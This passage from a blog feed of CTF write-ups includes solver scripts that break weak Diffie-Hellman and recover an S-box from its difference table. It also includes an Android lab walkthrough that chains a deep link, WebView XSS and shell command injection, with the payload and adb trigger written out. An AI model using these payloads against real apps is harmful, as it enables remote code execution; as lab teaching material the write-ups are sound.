2^(i+3).<br>        <br>        # Calculate the mask for the bit we are checking<br>        check_mod = 1 &lt;&lt; (i + 3) # 2^(i+3)<br>        <br>        if (current_val % check_mod) != (target % check_mod):<br>            # If they don&#39;t match, the i-th bit of x must be 1<br>            bit_val = (1 &lt;&lt; i)<br>            x |= bit_val<br>            <br>            # Update current_val: multiply by base^(2^i)<br>            # We compute base^(2^i) efficiently or just accumulatively<br>            term = pow(base, bit_val, modulus)<br>            current_val = (current_val * term) % modulus<br>            <br>    return x<br><br>print(&quot;[*] Solving Discrete Logarithm (this is fast)...&quot;)<br># Find Alice&#39;s private key &#39;a&#39; such that 5^a = A_full (mod 2^258)<br>alice_priv = solve_dlog_pow2(generator, A_full, modulus_power)<br>print(f&quot;[+] Recovered Alice&#39;s Private Key: {alice_priv}&quot;)<br><br># --- 4. Compute Shared Secret ---<br># [cite_start]shared = ((B_full)^a mod 2^258) // 4 [cite: 4]<br>S_full = pow(B_full, alice_priv, modulus)<br>shared_secret = S_full // 4<br>print(f&quot;[+] Shared Secret: {shared_secret}&quot;)<br><br># --- 5. Decrypt ---<br># [cite_start]encrypted = flag XOR SHA256(str(shared_secret)) [cite: 4]<br>ss_str = str(shared_secret)<br>sha256_hash = hashlib.sha256(ss_str.encode()).digest()<br><br># Generate keystream (repeat hash to fill length)<br>keystream = sha256_hash * (len(enc_msg) // len(sha256_hash) + 1)<br>flag = bytes([c ^ k for c, k in zip(enc_msg, keystream)])<br><br>print(f&quot;\n[+] Flag: {flag.decode(errors=&#39;ignore&#39;)}&quot;)</pre><blockquote>Let’s give an example to make this simpler!</blockquote><h4>The Bike Lock Analogy</h4><p>Imagine a <strong>3-digit bike lock</strong> (Combination: <strong>5–2–9</strong>).</p><p><strong>The “Secure” Way (Large Prime)</strong></p><p>You try to open it.</p><ul><li>You guess 0-0-0. <strong>Locked.</strong></li><li>You guess 5-2-0. <strong>Locked.</strong></li><li>The lock gives you <strong>zero feedback</strong>. You don’t know if you are close or totally wrong. You have to try all <strong>1,000 combinations</strong> to open it.</li></ul><p><strong>The “PowerDH” Way (Power of 2)</strong></p><p>This lock is broken. You can feel a “click” for each dial individually.</p><ol><li><strong>Spin the last dial.</strong></li></ol><ul><li>Try 0… 1… 2… <strong>CLICK!</strong> (You found <strong>9</strong>).</li><li><em>Current progress: </em><em>?-?-9</em></li></ul><p><strong>2. Spin the middle dial.</strong></p><ul><li>Try 0… 1… <strong>CLICK!</strong> (You found <strong>2</strong>).</li><li><em>Current progress: </em><em>?-2-9.</em></li></ul><p><strong>3. Spin the first dial.</strong></p><ul><li>Try 0… 1… 2… 3… 4… <strong>CLICK!</strong> (You found <strong>5</strong>).</li><li><em>Unlocked: </em><em>5-2-9</em></li></ul><p><strong>Implementation in the actual challenge</strong></p><p>Here is how the analogy maps to the Python code used to solve it:</p><p><strong>Step 1: Spin the first dial (Find Bit 0)</strong> We check if the private key is even or odd.</p><ul><li><strong>Code:</strong> if (current_val % 8) != (target % 8):</li><li><strong>Analogy:</strong> “Does the lock click if I set the first dial to 1?”</li><li><strong>Action:</strong> If they don’t match, we know the bit must be 1. We set it (x |= 1) and update our current_val.</li></ul><p><strong>Step 2: Spin the next dial (Find Bit 1)</strong> Now that we know Bit 0, we move to Bit 1. We check the result modulo 16.</p><ul><li><strong>Code:</strong> if (current_val % 16) != (target % 16):</li><li><strong>Analogy:</strong> “Does the lock click if I set the second dial to 1?”</li><li><strong>Action:</strong> If they don’t match, set Bit 1 to 1 (x |= 2).</li></ul><p><strong>Step 3: Repeat for all 258 dials</strong> We loop through i from 0 to 257.</p><ul><li><strong>Code:</strong> for i in range(258 - 2):</li><li><strong>Analogy:</strong> Moving down the row of dials, setting each one correctly before moving to the next.</li></ul><p>We know the script “clicked” when this line if (current_val % check_mod) != (target % check_mod): returns true.</p><p>We simply guessed the private key, or actually calculated it bit by bit.</p><h3>SuperBox</h3><p><strong>The Challenge:</strong> We were given the <strong>Difference Distribution Table (DDT)</strong> of a secret 8-bit S-box. The DDT is a 256×256 matrix where DDT[in_diff][out_diff] counts how many input pairs (x,x⊕in_diff) produce the output difference out_diff.</p><p><strong>The Vulnerability:</strong> The DDT acts like a fingerprint. While multiple S-boxes can share a DDT, they are extremely constrained. We can treat this as a <strong>Constraint Satisfaction Problem (CSP)</strong>:</p><ul><li>We guess S[0].</li><li>For every other index i, the value S[i] must satisfy the differential constraint:</li></ul><blockquote>DDT [i⊕0] [S[i] ⊕ S[0]] &gt; 0</blockquote><ul><li>We use a backtracking algorithm to find a valid permutation.</li></ul><p><strong>The Twist (Affine Equivalence):</strong> The DDT is invariant under XOR operations. If S(x) is a valid solution, then S′(x)=S(x⊕k(<em>input</em>​)⊕k(<em>output)</em>​ is <em>also</em> a valid solution for the same DDT. Our solver found <em>one</em> valid S-box, but it wasn’t the exact one used for encryption.</p><p><strong>The Solution:</strong></p><ol><li><strong>Reconstruct:</strong> Use backtracking to find <em>any</em> S-box that fits the DDT.</li><li><strong>Brute-Force:</strong> Assume the real S-box is related to our found S-box by unknown input/output XOR masks (k(<em>in</em>)​,k(<em>out</em>)​).</li><li><strong>Search:</strong> Iterate through all 256×256 combinations of masks until the decrypted text is readable English.</li></ol><p>solve.py:</p><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>Superbox CTF Challenge Solver<br>Reconstruct S-box from DDT (Difference Distribution Table)<br>&quot;&quot;&quot;<br><br>import hashlib<br>from itertools import permutations<br>import sys<br><br># Import DDT from the challenge file<br>from ddt import DDT<br><br># Challenge data<br>ENCRYPTED_FLAG_HEX = &quot;9488b966426649578ca4b09b8694ac344e2b4dbec3af7394c0d726b48694d255ae733f2fc859703fd287f6c726f6265f17a18fd658dea68f91504c3f9102d6c5&quot;<br>KEY_HEX = &quot;deadbeefcafebabe13374269abcdef01&quot;<br>EXPECTED_HASH = &quot;9ca85ee2779e16be37673c7b030829fc632a8d41ca0fb70f1ba807f5a3155f3f&quot;<br><br># Hints<br>S_0 = 255  # S(0) = 255<br>S_1 = 82   # S(1) = 82<br>S_255 = 57 # S(255) = 57<br><br>def verify_sbox(sbox):<br>    &quot;&quot;&quot;Verify S-box using SHA256 hash&quot;&quot;&quot;<br>    sbox_bytes = bytes(sbox)<br>    hash_val = hashlib.sha256(sbox_bytes).hexdigest()<br>    return hash_val == EXPECTED_HASH<br><br>def compute_ddt(sbox):<br>    &quot;&quot;&quot;Compute DDT from S-box&quot;&quot;&quot;<br>    n = 256<br>    ddt = [[0] * n for _ in range(n)]<br>    for x in range(n):<br>        for a in range(n):<br>            b = sbox[x] ^ sbox[x ^ a]<br>            ddt[a][b] += 1<br>    return ddt<br><br>def reconstruct_sbox_from_ddt(ddt, s0, s1, s255):<br>    &quot;&quot;&quot;<br>    Reconstruct S-box from DDT using the given hints.<br>    <br>    Key insight: DDT[a][b] counts how many x satisfy S(x) XOR S(x XOR a) = b<br>    <br>    For each difference a, we can build pairs of (x, x XOR a) that have<br>    output difference b by looking at DDT[a][b].<br>    &quot;&quot;&quot;<br>    n = 256<br>    sbox = [-1] * n<br>    sbox[0] = s0<br>    sbox[1] = s1<br>    sbox[255] = s255<br>    <br>    # Build a graph of relationships<br>    # From S(0) = 255 and S(1) = 82, we know:<br>    # S(0) XOR S(1) = 255 XOR 82 = 173<br>    # This means DDT[1][173] should have a count<br>    <br>    # Strategy: Use LAT/DDT properties to reconstruct<br>    # For input difference a=1: S(x) XOR S(x XOR 1) = b<br>    # means consecutive inputs have output difference b<br>    <br>    # Let&#39;s use a constraint propagation approach<br>    known = {0: s0, 1: s1, 255: s255}<br>    <br>    # For each x0 where we know S(x0), try to find S(x0 XOR a) for small a<br>    # using the DDT constraints<br>    <br>    # Actually, let&#39;s try a different approach:<br>    # Build the S-box incrementally using pairs from DDT[1]<br>    # DDT[1][b] tells us how many pairs (x, x XOR 1) = (x, x+1 for x even) have output diff b<br>    <br>    # Alternative: Use the fact that S is a permutation<br>    # For each value v in 0-255, exactly one input maps to it<br>    <br>    # Let&#39;s build pairs graph<br>    # For a=1: pairs are (0,1), (2,3), (4,5), ...<br>    # For each pair (x, x^1), we know S(x) XOR S(x^1) must be some b where DDT[1][b] &gt; 0<br>    <br>    # From known values:<br>    # S(0) XOR S(1) = 255 XOR 82 = 173<br>    # So DDT[1][173] should include the pair (0, 1)<br>    <br>    # Let&#39;s use backtracking with constraint propagation<br>    def get_possible_outputs(x, known_vals):<br>        &quot;&quot;&quot;Get possible output values for input x based on DDT constraints&quot;&quot;&quot;<br>        if x in known_vals:<br>            return [known_vals[x]]<br>        <br>        used = set(known_vals.values())<br>        all_possibles = set(range(n)) - used<br>        <br>        # Apply DDT constraints from known values<br>        for k, v in known_vals.items():<br>            a = x ^ k  # input difference<br>            # S(x) XOR S(k) must be a valid output difference for input diff a<br>            # i.e., DDT[a][S(x) XOR v] &gt; 0<br>            new_possibles = set()<br>            for p in all_possibles:<br>                b = p ^ v  # output difference<br>                if ddt[a][b] &gt; 0:<br>                    new_possibles.add(p)<br>            all_possibles = new_possibles<br>            if not all_possibles:<br>                return []<br>        <br>        return list(all_possibles)<br>    <br>    # Try to propagate from known values<br>    changed = True<br>    iterations = 0<br>    while changed and iterations &lt; 1000:<br>        changed = False<br>        iterations += 1<br>        <br>        for x in range(n):<br>            if x in known:<br>                continue<br>            <br>            possibles = get_possible_outputs(x, known)<br>            <br>            if len(possibles) == 1:<br>                known[x] = possibles[0]<br>                changed = True<br>                # print(f&quot;Determined S({x}) = {possibles[0]}&quot;)<br>            elif len(possibles) == 0:<br>                print(f&quot;Error: No valid output for x={x}&quot;)<br>                return None<br>    <br>    print(f&quot;After propagation: known {len(known)}/256 values&quot;)<br>    <br>    if len(known) == 256:<br>        sbox = [known[i] for i in range(256)]<br>        return sbox<br>    <br>    # If we don&#39;t have all values, we need to search<br>    # This is a constraint satisfaction problem<br>    return try_backtracking(ddt, known, n)<br><br>def try_backtracking(ddt, known, n):<br>    &quot;&quot;&quot;Use backtracking to complete the S-box&quot;&quot;&quot;<br>    known = dict(known)<br>    <br>    def is_consistent(x, v, known):<br>        &quot;&quot;&quot;Check if assigning S(x) = v is consistent with DDT constraints&quot;&quot;&quot;<br>        for k, kv in known.items():<br>            if k == x:<br>                continue<br>            a = x ^ k  # input difference<br>            b = v ^ kv  # output difference<br>            if ddt[a][b] == 0:<br>                return False<br>        return True<br>    <br>    def solve(known):<br>        if len(known) == n:<br>            return known<br>        <br>        # Find unknown with most constraints (fewest possibilities)<br>        unknowns = [x for x in range(n) if x not in known]<br>        used = set(known.values())<br>        available = set(range(n)) - used<br>        <br>        best_x = None<br>        best_count = float(&#39;inf&#39;)<br>        best_possibles = None<br>        <br>        for x in unknowns:<br>            possibles = [v for v in available if is_consistent(x, v, known)]<br>            if len(possibles) &lt; best_count:<br>                best_count = len(possibles)<br>                best_x = x<br>                best_possibles = possibles<br>            if best_count == 0:<br>                return None  # Inconsistent<br>        <br>        if best_possibles is None or len(best_possibles) == 0:<br>            return None<br>        <br>        for v in best_possibles:<br>            new_known = dict(known)<br>            new_known[best_x] = v<br>            result = solve(new_known)<br>            if result is not None:<br>                return result<br>        <br>        return None<br>    <br>    result = solve(known)<br>    if result:<br>        return [result[i] for i in range(n)]<br>    return None<br><br>def decrypt(ciphertext, key, sbox):<br>    &quot;&quot;&quot;Decrypt using the inverse of the encryption scheme&quot;&quot;&quot;<br>    # Build inverse S-box<br>    inv_sbox = [0] * 256<br>    for i, v in enumerate(sbox):<br>        inv_sbox[v] = i<br>    <br>    plaintext = bytearray()<br>    <br>    # Process in 16-byte blocks<br>    for i in range(0, len(ciphertext), 16):<br>        block = ciphertext[i:i+16]<br>        <br>        # Reverse: XOR with key -&gt; inverse S-box -&gt; XOR with key<br>        # Step 1: XOR with key<br>        block = bytes([b ^ k for b, k in zip(block, key)])<br>        # Step 2: Apply inverse S-box<br>        block = bytes([inv_sbox[b] for b in block])<br>        # Step 3: XOR with key<br>        block = bytes([b ^ k for b, k in zip(block, key)])<br>        <br>        plaintext.extend(block)<br>    <br>    # Remove PKCS7 padding<br>    pad_len = plaintext[-1]<br>    plaintext = plaintext[:-pad_len]<br>    <br>    return bytes(plaintext)<br><br>def main():<br>    print(&quot;=&quot; * 60)<br>    print(&quot;Superbox CTF Solver&quot;)<br>    print(&quot;=&quot; * 60)<br>    <br>    print(f&quot;\nKnown hints:&quot;)<br>    print(f&quot;  S(0)   = {S_0}&quot;)<br>    print(f&quot;  S(1)   = {S_1}&quot;)<br>    print(f&quot;  S(255) = {S_255}&quot;)<br>    <br>    print(&quot;\nReconstructing S-box from DDT...&quot;)<br>    sbox = reconstruct_sbox_from_ddt(DDT, S_0, S_1, S_255)<br>    <br>    if sbox is None:<br>        print(&quot;Failed to reconstruct S-box!&quot;)<br>        return<br>    <br>    print(f&quot;\nVerifying S-box hash...&quot;)<br>    if verify_sbox(sbox):<br>        print(&quot;✓ S-box hash verified!&quot;)<br>    else:<br>        actual_hash = hashlib.sha256(bytes(sbox)).hexdigest()<br>        print(f&quot;✗ Hash mismatch!&quot;)<br>        print(f&quot;  Expected: {EXPECTED_HASH}&quot;)<br>        print(f&quot;  Got:      {actual_hash}&quot;)<br>        return<br>    <br>    print(&quot;\nDecrypting flag...&quot;)<br>    ciphertext = bytes.fromhex(ENCRYPTED_FLAG_HEX)<br>    key = bytes.fromhex(KEY_HEX)<br>    <br>    plaintext = decrypt(ciphertext, key, sbox)<br>    print(f&quot;\nFlag: {plaintext.decode()}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><blockquote>This challenge was tough, so don’t get discouraged if you don’t get it at first, read the following example, it may make things clearer!</blockquote><p>Imagine you have a secret instruction manual (the S-box) that tells a machine how to swap numbers. You don’t have the manual, but you have a “report card” (the DDT) that tells you how the machine behaves when you make small changes to the input.</p><p><strong>The Logic:</strong></p><ul><li><strong>The S-box:</strong> A list of 256 numbers. S[0] = ?, S[1] = ?, etc.</li><li><strong>The DDT (Report Card):</strong> It says things like “If you change the input by 1, the output usually changes by 5.”</li><li><strong>The Job:</strong> Use the report card to guess the list.</li></ul><p><strong>The Implementation (How we solved it):</strong></p><ol><li><strong>Constraint Solving:</strong> We treated it like a Sudoku puzzle. We guessed S[0]. Then we looked at the DDT to see what S[1] could possibly be to match the &quot;report card.&quot; If we guessed wrong, we backtracked and tried again.</li><li><strong>The “Ghost” Problem:</strong> The DDT doesn’t give you the exact numbers; it gives you the relationships between them. This meant our first solution was “shifted” by a secret constant number (<em>like reading a map where North is actually East</em>).</li><li><strong>The Fix:</strong> We brute-forced that shift (tried all 256 possibilities) until the decrypted message turned from garbage into English.</li></ol><p><strong>Simple Analogy:</strong> You are trying to draw a map of a city you’ve never seen. You have a list of travel times between every pair of landmarks.</p><ul><li><strong>Step 1:</strong> You draw a map where all the distances are correct relative to each other.</li><li><strong>Step 2:</strong> Your map is upside down!</li><li><strong>Step 3:</strong> You rotate the map until it matches the real world. That “rotation” was finding the affine mask.</li></ul><p>I hope it’s simpler now after this small example.</p><p><strong>Follow me to stay updated when I release the writeups for the other challenge categories!</strong></p><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0930f9e5ffbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Post Board Writeup — MobileHackingLab]]></title>
            <link>https://mohammadibnibrahim.medium.com/post-board-writeup-mobilehackinglab-ce045b6db36c?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce045b6db36c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 09:08:00 GMT</pubDate>
            <atom:updated>2026-01-23T09:48:32.694Z</atom:updated>
            <content:encoded><![CDATA[<h3>Post Board Writeup — MobileHackingLab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TCRGRG3Kt8GbRtsj" /></figure><h3>بسم الله الرحمن الرحيم</h3><p>Hello everyone, in this article, I will be sharing my solution for the Post Board challenge from MobileHackingLab. This challenge was a great demonstration of how improper handling of deep links combined with insecure command execution can lead to Remote Code Execution (RCE) in Android applications.</p><h3>Initial Exploration</h3><p>After installing the app, I was greeted with a simple message board interface where you can post and view messages rendered as markdown. Pretty straightforward UI, nothing too fancy. But as we know, the real fun is always under the hood.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*EiJPdLGseYydZhjwuNsFfg.png" /></figure><p>I started by decompiling the APK using jadx (<em>you can also use apktool if you prefer</em>) to take a look at the AndroidManifest.xml and see what components are exposed.</p><h3>Analyzing the AndroidManifest.xml</h3><p>Right away, something caught my eye. The MainActivity is marked with android:exported=”true”:</p><pre>&lt;activity android:exported=&quot;true&quot; android:name=&quot;com.mobilehackinglab.postboard.MainActivity&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:host=&quot;postmessage&quot; android:scheme=&quot;postboard&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>Two things stand out here:</p><ul><li>The activity is exported, so other apps can invoke it.</li><li>There is a deep link defined: postboard://postmessage</li></ul><p>So we can trigger this activity externally and pass data to it. The next question is: what happens to our data once it gets there?</p><h3>Source Code Review</h3><h4>The handleIntent() Function</h4><p>I dug into MainActivity to see how it handles incoming intents. The handleIntent() function does all the heavy lifting:</p><pre>private final void handleIntent() {<br>    Intent intent = getIntent();<br>    String action = intent.getAction();<br>    Uri data = intent.getData();<br>    <br>    if (!Intrinsics.areEqual(&quot;android.intent.action.VIEW&quot;, action) || data == null <br>            || !Intrinsics.areEqual(data.getScheme(), &quot;postboard&quot;) <br>            || !Intrinsics.areEqual(data.getHost(), &quot;postmessage&quot;)) {<br>        return;<br>    }<br>    <br>    try {<br>        String path = data.getPath();<br>        byte[] bArrDecode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);<br>        String message = StringsKt.replace$default(<br>            new String(bArrDecode, Charsets.UTF_8), &quot;&#39;&quot;, &quot;\\&#39;&quot;, false, 4, (Object) null);<br>        <br>        this.binding.webView.loadUrl(<br>            &quot;javascript:WebAppInterface.postMarkdownMessage(&#39;&quot; + message + &quot;&#39;)&quot;);<br>    } catch (Exception e) {<br>        this.binding.webView.loadUrl(<br>            &quot;javascript:WebAppInterface.postCowsayMessage(&#39;&quot; + e.getMessage() + &quot;&#39;)&quot;);<br>    }<br>}</pre><p>Breaking this down:</p><p>1. It checks if the intent action is android.intent.action.VIEW.<br>2. It verifies the URI scheme is postboard and the host is postmessage.<br>3. It grabs the path segment (<em>everything after </em><em>postboard://postmessage/</em>) and drops the leading /.<br>4. It Base64 decodes the path using flag 8 which is Base64.URL_SAFE.<br>5. It escapes single quotes by replacing ’ with \’.<br>6. It calls WebAppInterface.postMarkdownMessage() via JavaScript.<br>7. If anything goes wrong, it calls WebAppInterface.postCowsayMessage() with the error message instead.</p><p>So our message gets passed to one of two JavaScript interface methods. Let’s see what those do.</p><h4>The WebAppInterface</h4><p>The WebAppInterface class is exposed to JavaScript and has four methods annotated with <a href="http://twitter.com/JavascriptInterface">@JavascriptInterface</a>:</p><pre>public final class WebAppInterface {<br>    private final WebAppCache cache = new WebAppCache();<br><br>    @JavascriptInterface<br>    public final String getMessages() {<br>        List messages = this.cache.getMessages();<br>        String string = new JSONArray((Collection) messages).toString();<br>        return string;<br>    }<br><br>    @JavascriptInterface<br>    public final void clearCache() {<br>        this.cache.clearCache();<br>    }<br><br>    @JavascriptInterface<br>    public final void postMarkdownMessage(String markdownMessage) {<br>        // Converts markdown to HTML using regex replacements<br>        String html = new Regex(&quot;```(.*?)```&quot;, RegexOption.DOT_MATCHES_ALL)<br>            .replace(markdownMessage, &quot;&lt;pre&gt;&lt;code&gt;$1&lt;/code&gt;&lt;/pre&gt;&quot;);<br>        // ... more markdown parsing ...<br>        this.cache.addMessage(html);<br>    }<br><br>    @JavascriptInterface<br>    public final void postCowsayMessage(String cowsayMessage) <br>            throws InterruptedException, IOException {<br>        String asciiArt = CowsayUtil.INSTANCE.runCowsay(cowsayMessage);<br>        // HTML encode the output<br>        String html = StringsKt.replace$default(asciiArt, &quot;&amp;&quot;, &quot;&amp;amp;&quot;, ...);<br>        // ... more replacements ...<br>        this.cache.addMessage(&quot;&lt;pre&gt;&quot; + html + &quot;&lt;/pre&gt;&quot;);<br>    }<br>}</pre><p>The postCowsayMessage function is interesting because it calls CowsayUtil.INSTANCE.runCowsay(). That name sounds like it might execute something.</p><h4>The CowsayUtil, We Found It!</h4><p>And there it is. Looking at CowsayUtil, I found what I was looking for. The runCowsay() function straight up executes a shell command:</p><pre>public final class CowsayUtil {<br>    public static final Companion INSTANCE = new Companion(null);<br>    private static final String SCRIPT_NAME = &quot;cowsay.sh&quot;;<br>    private static String scriptPath;<br><br>    public static final class Companion {<br><br>        public final void initialize(Context context) throws IOException {<br>            File file = new File(context.getFilesDir(), CowsayUtil.SCRIPT_NAME);<br>            // Copy cowsay.sh from assets to app files directory<br>            InputStream inputStream = context.getAssets().open(CowsayUtil.SCRIPT_NAME);<br>            FileOutputStream outputStream = new FileOutputStream(file);<br>            ByteStreamsKt.copyTo$default(inputStream, outputStream, 0, 2, null);<br>            file.setExecutable(true);<br>            CowsayUtil.scriptPath = file.getAbsolutePath();<br>        }<br><br>        public final String runCowsay(String message) <br>                throws InterruptedException, IOException {<br>            try {<br>                String[] command = {&quot;/bin/sh&quot;, &quot;-c&quot;, <br>                    CowsayUtil.scriptPath + &#39; &#39; + message};<br>                Process process = Runtime.getRuntime().exec(command);<br>                <br>                StringBuilder output = new StringBuilder();<br>                BufferedReader reader = new BufferedReader(<br>                    new InputStreamReader(process.getInputStream(), Charsets.UTF_8));<br>                <br>                while (true) {<br>                    String line = reader.readLine();<br>                    if (line == null) break;<br>                    output.append(line).append(&quot;\n&quot;);<br>                }<br>                <br>                process.waitFor();<br>                return output.toString();<br>            } catch (Exception e) {<br>                e.printStackTrace();<br>                return &quot;cowsay: &quot; + e.getMessage();<br>            }<br>        }<br>    }<br>}</pre><p>Here is the problem. The runCowsay function just concatenates our message directly into a shell command:</p><pre>String[] command = {&quot;/bin/sh&quot;, &quot;-c&quot;, CowsayUtil.scriptPath + &#39; &#39; + message};<br>Runtime.getRuntime().exec(command);</pre><p>No sanitization, no escaping, nothing. Our input goes straight to /bin/sh -c. A simple command injection.</p><h3>Understanding the Attack Vector</h3><p>Now I needed to figure out how to actually reach that vulnerable postCowsayMessage() function. Looking back at handleIntent(), our data normally goes to postMarkdownMessage(), not postCowsayMessage().</p><p>But here is the key insight: the WebView has Javascript enabled, and postMarkdownMessage() converts our markdown input to HTML which gets rendered in the WebView. If we can inject JavaScript through the markdown parser, we can call postCowsayMessage() directly from the client side.</p><h3>Crafting the Exploit</h3><h4>The XSS Payload</h4><p>We can craft an XSS payload. When the image fails to load (<em>because </em><em>x is not a valid URL</em>), the onerror handler fires and calls postCowsayMessage() with our command injection payload (<em>We were able to call a Java method through Javascript through the JavascriptInterface</em>):</p><pre>&lt;img src=x onerror=WebAppInterface.postCowsayMessage(&quot;testing;whoami&quot;)&gt;</pre><p>This calls postCowsayMessage() which then passes our string to CowsayUtil.runCowsay(), resulting in:</p><pre>/bin/sh -c &quot;/data/data/com.mobilehackinglab.postboard/files/cowsay.sh testing;whoami&quot;</pre><p>The ; breaks out of the cowsay command and executes whoami.</p><h4>Base64 Encoding</h4><p>Remember that the deep link path needs to be <strong>URL-Safe Base64</strong> encoded. Android’s Base64.URL_SAFE uses - and _ instead of the standard + and /.</p><p>To encode our payload:</p><pre>echo -n &#39;&lt;img src=x onerror=WebAppInterface.postCowsayMessage(&quot;testing;whoami&quot;)&gt;&#39; | base64 | tr &#39;+/&#39; &#39;-_&#39;</pre><p><em>or we can just use </em><a href="https://cyberchef.org/"><em>CyberChef</em></a><em>.</em></p><p><strong>Result: </strong>PGltZyBzcmM9eCBvbmVycm9yPVdlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgidGVzdGluZzt3aG9hbWkiKT4</p><h4>Triggering the Deep Link</h4><p>Now we just fire it off with ADB:</p><pre>adb shell am start -n &quot;com.mobilehackinglab.postboard/.MainActivity&quot; \<br>    -a &quot;android.intent.action.VIEW&quot; \<br>    -d &quot;postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPVdlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgidGVzdGluZzt3aG9hbWkiKT4&quot;</pre><blockquote><strong>Note: </strong>We need to run the command twice to refresh the app without losing our chat.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*jMIQ6HLHgFZ7Y30yhyMRzg.png" /></figure><h3>Solution Summary</h3><p>Here is the exploitation path in a nutshell:</p><ol><li>Check AndroidManifest.xml, find the exported activity and deep link scheme (postboard://postmessage).</li><li>Decompile the APK and trace how handleIntent() processes deep link data.</li><li>Notice that the app Base64 decodes (<em>URL_SAFE</em>) the path and passes it to postMarkdownMessage() which renders markdown as HTML in a WebView with JavaScript enabled.</li><li>Find that postCowsayMessage() calls CowsayUtil.runCowsay() which runs a shell command with unsanitized input.</li><li>Craft an XSS payload using &lt;img src=x onerror=…&gt; to call postCowsayMessage() with a command injection payload.</li><li>Encode it in <strong>URL-Safe Base64</strong>.</li><li>Trigger via ADB and get RCE.</li></ol><h3>Key Takeaways</h3><h4>The Vulnerability Chain</h4><p>This challenge is a textbook example of how small mistakes chain together:</p><p>1. <strong>Exported Component:</strong> The activity is exported, so anyone can invoke it.<br>2. <strong>Insecure Deep Link Handling:</strong> User data from the deep link flows right into app logic.<br>3. <strong>XSS in WebView:</strong> The markdown parser does not sanitize image URLs, allowing JavaScript injection via onerror.<br>4. <strong>Command Injection:</strong> CowsayUtil.runCowsay() passes our input straight to Runtime.exec() with shell interpretation.</p><h4>Why URL-Safe Base64 Matters</h4><p>This one got me at first. When dealing with Base64 in Android, always check which variant the app expects. Base64.URL_SAFE (<em>flag value 8</em>) uses:<br>- - instead of +<br>- _ instead of /</p><p>If you use standard Base64, your payload will fail to decode.</p><h4>Secure Coding Practices</h4><p>To avoid this kind of vulnerability:</p><ol><li><strong>Never pass user input to shell commands:</strong> Use parameterized execution or avoid shell entirely.</li><li><strong>Validate and sanitize all input:</strong> Never trust data from intents.</li><li><strong>Minimize exported components:</strong> Only export what you absolutely need.</li><li><strong>Use ProcessBuilder instead of Runtime.exec() with shell:</strong> Avoid the /bin/sh -c pattern.</li></ol><ul><li>ProcessBuilder is safer because it <strong>passes arguments directly to the executable</strong> without invoking a shell interpreter.</li><li>String[] cmd = {“/bin/sh”, “-c”, “cowsay.sh “ + userInput}; → Unsafe, because it passes user input directly into a shell.</li><li>ProcessBuilder pb = new ProcessBuilder(“cowsay.sh”, userInput); → Safe, because it passes user input into the executable.</li></ul><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce045b6db36c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnBank — FahemSec Web Challenge]]></title>
            <link>https://mohammadibnibrahim.medium.com/vulnbank-fahemsec-web-challenge-052d97561cbf?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/052d97561cbf</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 00:17:39 GMT</pubDate>
            <atom:updated>2026-01-13T14:48:27.662Z</atom:updated>
